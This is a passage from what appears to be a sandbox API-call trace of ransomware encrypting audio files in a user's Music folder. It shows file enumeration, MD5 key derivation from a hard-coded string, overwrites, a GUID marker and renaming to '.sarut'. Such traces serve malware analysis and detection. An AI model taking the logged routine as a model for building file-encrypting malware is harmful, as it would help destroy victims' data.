pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.030] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.030] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.030] GetLastError () returned 0x0 [0271.030] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.030] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.030] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd0a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.031] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.031] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.031] CloseHandle (hObject=0x5c4) returned 1 [0271.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0271.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0271.033] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\aqCrbf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\aqcrbf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\aqCrbf.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\aqcrbf.mp3.sarut")) returned 1 [0271.034] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x563266e0, ftCreationTime.dwHighDateTime=0x1d4ca5d, ftLastAccessTime.dwLowDateTime=0xee22000, ftLastAccessTime.dwHighDateTime=0x1d4d3c7, ftLastWriteTime.dwLowDateTime=0xee22000, ftLastWriteTime.dwHighDateTime=0x1d4d3c7, nFileSizeHigh=0x0, nFileSizeLow=0x1c96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BH6aDwcoogn.mp3", cAlternateFileName="BH6ADW~1.MP3")) returned 1 [0271.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.035] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\BH6aDwcoogn.mp3") returned=".mp3" [0271.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\BH6aDwcoogn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\bh6adwcoogn.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.035] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=7318) returned 1 [0271.035] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.037] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1c70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.037] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.038] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1c96, lpOverlapped=0x0) returned 1 [0271.039] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.039] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.039] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.039] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.040] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.040] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.040] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.040] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.040] GetLastError () returned 0x0 [0271.040] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.040] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.040] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1c96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.041] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.041] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.041] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.041] CloseHandle (hObject=0x5c4) returned 1 [0271.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.044] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.044] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\BH6aDwcoogn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\bh6adwcoogn.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\BH6aDwcoogn.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\bh6adwcoogn.mp3.sarut")) returned 1 [0271.046] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74ef360, ftCreationTime.dwHighDateTime=0x1d4ca83, ftLastAccessTime.dwLowDateTime=0x3095f630, ftLastAccessTime.dwHighDateTime=0x1d4d012, ftLastWriteTime.dwLowDateTime=0x3095f630, ftLastWriteTime.dwHighDateTime=0x1d4d012, nFileSizeHigh=0x0, nFileSizeLow=0x117a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E5BUqHk2HLgOe.m4a", cAlternateFileName="E5BUQH~1.M4A")) returned 1 [0271.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.046] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\E5BUqHk2HLgOe.m4a") returned=".m4a" [0271.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\E5BUqHk2HLgOe.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\e5buqhk2hlgoe.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.047] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=71589) returned 1 [0271.047] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.049] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1177f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.049] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.051] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x117a5, lpOverlapped=0x0) returned 1 [0271.052] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.052] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.052] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.052] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.053] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.053] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.053] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.053] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.053] GetLastError () returned 0x0 [0271.053] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.053] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.054] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x117a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.054] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.054] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.054] CloseHandle (hObject=0x5c4) returned 1 [0271.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.056] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\E5BUqHk2HLgOe.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\e5buqhk2hlgoe.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\E5BUqHk2HLgOe.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\e5buqhk2hlgoe.m4a.sarut")) returned 1 [0271.058] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd555cd60, ftCreationTime.dwHighDateTime=0x1d4cca4, ftLastAccessTime.dwLowDateTime=0xa2c29080, ftLastAccessTime.dwHighDateTime=0x1d4d02e, ftLastWriteTime.dwLowDateTime=0xa2c29080, ftLastWriteTime.dwHighDateTime=0x1d4d02e, nFileSizeHigh=0x0, nFileSizeLow=0x17fa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iD-nB 21AVlDXuyQt.wav", cAlternateFileName="ID-NB2~1.WAV")) returned 1 [0271.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.058] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\iD-nB 21AVlDXuyQt.wav") returned=".wav" [0271.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\iD-nB 21AVlDXuyQt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\id-nb 21avldxuyqt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.059] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=98217) returned 1 [0271.059] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.060] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17f83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.060] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.062] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17fa9, lpOverlapped=0x0) returned 1 [0271.063] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.063] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.063] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.063] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.063] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.064] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.064] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.064] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.064] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.064] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.064] GetLastError () returned 0x0 [0271.064] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.065] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.065] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17fa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.066] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.066] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.066] CloseHandle (hObject=0x5c4) returned 1 [0271.068] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.068] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.068] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\iD-nB 21AVlDXuyQt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\id-nb 21avldxuyqt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\iD-nB 21AVlDXuyQt.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\id-nb 21avldxuyqt.wav.sarut")) returned 1 [0271.070] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695bd640, ftCreationTime.dwHighDateTime=0x1d4cd49, ftLastAccessTime.dwLowDateTime=0x7c344c10, ftLastAccessTime.dwHighDateTime=0x1d4c809, ftLastWriteTime.dwLowDateTime=0x7c344c10, ftLastWriteTime.dwHighDateTime=0x1d4c809, nFileSizeHigh=0x0, nFileSizeLow=0x2507, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jqJvbR_QvwlZ.mp3", cAlternateFileName="JQJVBR~1.MP3")) returned 1 [0271.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.070] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\jqJvbR_QvwlZ.mp3") returned=".mp3" [0271.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\jqJvbR_QvwlZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\jqjvbr_qvwlz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.071] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=9479) returned 1 [0271.071] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.072] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x24e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.072] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.074] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.074] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x2507, lpOverlapped=0x0) returned 1 [0271.078] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.078] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.078] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.078] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.079] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.079] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.079] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.079] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.079] GetLastError () returned 0x0 [0271.079] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.079] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.079] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2510) returned 0x311d708 [0271.079] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.079] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.079] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x2502, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x2502, lpOverlapped=0x0) returned 1 [0271.080] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.080] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2507, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.080] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.080] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.080] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.080] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.080] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.080] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.080] CloseHandle (hObject=0x5c4) returned 1 [0271.084] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.084] RtlAllocateHeap 